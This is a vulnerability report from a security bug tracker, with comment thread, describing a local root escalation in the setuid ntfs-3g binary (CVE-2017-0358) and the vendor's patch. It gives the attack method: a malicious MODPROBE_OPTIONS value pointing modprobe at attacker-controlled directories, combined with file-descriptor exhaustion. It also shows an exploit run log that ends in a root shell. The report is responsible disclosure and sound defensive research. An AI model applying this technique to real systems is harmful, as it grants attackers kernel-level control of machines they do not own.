New issue
Advanced search Search tips
Starred by 3 users
Status: Fixed
Owner:
Closed: Feb 2017
Cc:



Sign in to add a comment
ntfs-3g: modprobe is executed with unsanitized environment
Project Member Reported by jannh@google.com, Jan 5 2017 Back to list
ntfs-3g is installed by default e.g. on Ubuntu and comes with a
setuid root program /bin/ntfs-3g. When this program is invoked on a
system whose kernel does not support FUSE filesystems (detected by
get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
/sbin/modprobe via load_fuse_module().

The issue is that /sbin/modprobe is not designed to run in a setuid
context. As the manpage of modprobe explicitly points out:

       The MODPROBE_OPTIONS environment variable can also be used
       to pass arguments to modprobe.

Therefore, on a system that does not seem to support FUSE filesystems,
an attacker can set the environment variable MODPROBE_OPTIONS to
something like "-C /tmp/evil_config -d /tmp/evil_root" to force
modprobe to load its configuration and the module from
attacker-controlled directories. This allows a local attacker to load
arbitrary code into the kernel.

In practice, the FUSE module is usually already loaded. However, the
issue can still be attacked because a failure to open
/proc/filesystems (meaning that get_fuse_fstype() returns
FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
FUSE module is already loaded. An attacker can cause an attempt to
open /proc/filesystems to fail by exhausting the global limit on the
number of open file descriptions (/proc/sys/fs/file-max).

I have attached an exploit for the issue. I have tested it in a VM
with Ubuntu Server 16.10. To reproduce, unpack the attached file,
compile the exploit and run it:

user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar 
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh 
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
  CC [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
  LD [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
looks like we won the race
got ENFILE at 198088 total
Failed to open /proc/filesystems: Too many open files in system
yay, modprobe ran!
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
we have root privs now...
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)

Note: The exploit seems to work relatively reliably in VMs with
multiple CPU cores, but not in VMs with a single CPU core. If you
test this exploit in a VM, please ensure that the VM has at least two
CPU cores.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
ntfs-3g-modprobe-unsafe.tar
20.0 KB Download
Project Member Comment 1 by jannh@google.com, Jan 5 2017
The vendor has created a patch that provides modprobe with an empty environment. The patch looks good.
Project Member Comment 2 by jannh@google.com, Feb 11 2017
Labels: -Restrict-View-Commit CVE-2017-0358
Status: Fixed
Derestricting: While I don't see a new release on the vendor's website (http://www.tuxera.com/community/open-source-ntfs-3g/), this bug was posted on oss-security by Laszlo Boszormenyi (http://seclists.org/oss-sec/2017/q1/259). (Someone also posted an exploit for the bug; however, unlike my exploit, that exploit probably won't work if the FUSE kernel module is already loaded.)
Comment 3 Deleted
@jannh -- what makes you think my exploit doesn't work when fuse is already loaded? :) Tested on standard debian 9 and works out of the box for me. Did you see the trick I used to bypass what you think wouldn't be possible? I believe you should be able to reproduce as well.
Project Member Comment 5 by jannh@google.com, Feb 23 2017
@kristian...: I just installed Debian 9 in a VM, and FUSE is not already loaded: "grep fuse /proc/filesystems" shows nothing. With e.g. Ubuntu Server 16.10, that command does print output.

The slightly tricky part of my exploit is to bypass the get_fuse_fstype() check in ntfs-3g if the FUSE driver is already loaded. As far as I can tell, you don't need this bypass on a freshly booted Debian 9 machine because the FUSE driver is only loaded on demand in Debian 9.

Note that the presence of /dev/fuse does not imply that the fuse module is loaded; however, attempting to open that device should trigger module autoloading if necessary.

Does your exploit still work if the "fuse" module has been autoloaded (e.g. via "cat /dev/fuse")? Or does it work on any Linux system where FUSE support is compiled into the kernel (e.g. Ubuntu Server 16.10)?
Jann -- so you have also confirmed my exploit works on Debian 9 stretch, thanks! You are correct that my exploit does NOT work on other versions of debian or Ubuntu due to fuse already being loaded. I had not tested on other distros and so as you mentioned, your exploit is able to bypass that check on ubuntu, which is neat. The "trick" I was referring to was the symlink traversal and to the aliased module name, which as you correctly identified, does not actually bypass the ntfs-3g code, so I was mistaken. Your symlink and file exhaustion attack does work on Ubuntu to bypass the fuse loaded check; very nice.

Thanks again for confirming everything. Looks like my exploit only works on Debian 9 stretch due to the fact that fuse is not loaded by default. If you can confirm all this that would be great. Cheers.
Project Member Comment 7 by jannh@google.com, Jun 2
Labels: Methodology-source-review
Comment 8 Deleted
Hi,
Is problem associated with NTFS-3G or modprobe?
I think the modprobe shouldn't be accepting arguments from environment variables.
What is the motivation to do so?
Can we say that modprobe should not be executed in setuid environment?
It anyway needs root permission to load or unload modules.
Project Member Comment 10 by jannh@google.com, Nov 6
> I think the modprobe shouldn't be accepting arguments from environment variables.
> What is the motivation to do so?

It is normal for programs and even libraries to accept configuration directives from environment variables.
https://codesearch.debian.net/search?q=MODPROBE_OPTIONS shows that there are Debian packages that rely on this behavior; e.g. initramfs-tools uses it to pass the "-q" flag to modprobe.

The convention for executing binaries in a setuid context is that unless a binary is specifically designed for that usecase, the caller must clean up the runtime environment (in particular environment variables) before calling execve() on that binary. (The same applies to using libraries.)

> Can we say that modprobe should not be executed in setuid environment?
> It anyway needs root permission to load or unload modules.

The whole point of setuid binaries is that they can do things that the user calling them wouldn't be able to do.
Sign in to add a comment